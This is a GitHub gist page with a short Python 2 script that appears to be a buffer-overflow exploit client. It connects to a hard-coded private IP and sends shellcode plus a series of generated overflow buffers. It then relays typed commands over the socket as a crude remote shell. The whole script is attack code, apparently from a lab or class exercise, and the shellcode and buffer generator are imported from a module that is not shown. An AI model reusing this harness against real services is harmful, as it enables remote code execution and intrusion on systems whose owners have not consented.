Skip to content

Instantly share code, notes, and snippets.

@benallamar
Last active December 7, 2016 14:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save benallamar/9d79a9e2887e2aa69394364ab3a9cbe8 to your computer and use it in GitHub Desktop.
Save benallamar/9d79a9e2887e2aa69394364ab3a9cbe8 to your computer and use it in GitHub Desktop.
# -*-coding: utf-8 -*-
import socket
import sys
import time
from buffer_generator import BufferGenerator, SHELL_CODE
TCP_IP = "192.168.2.7"
TCP_PORT = int(sys.argv[1])
# Il faut charger l'attaque sur un autre ordinateur
MESSAGE = b""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
gener_buffer = BufferGenerator()
for _buffer in gener_buffer:
#We charge the shell code
MESSAGE += SHELL_CODE
#We set the buffer that we want to attack
MESSAGE += _buffer
#We close every thing
MESSAGE += "\x0a"
MESSAGE += b"\n"
s.send(MESSAGE)
cmd = raw_input("$>")
s.send(cmd+"\n")
data = s.recv(9000)
# We parse the received data and after we analyse the rest
print str(data)
#time.sleep(6)
#print b""+_buffer
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment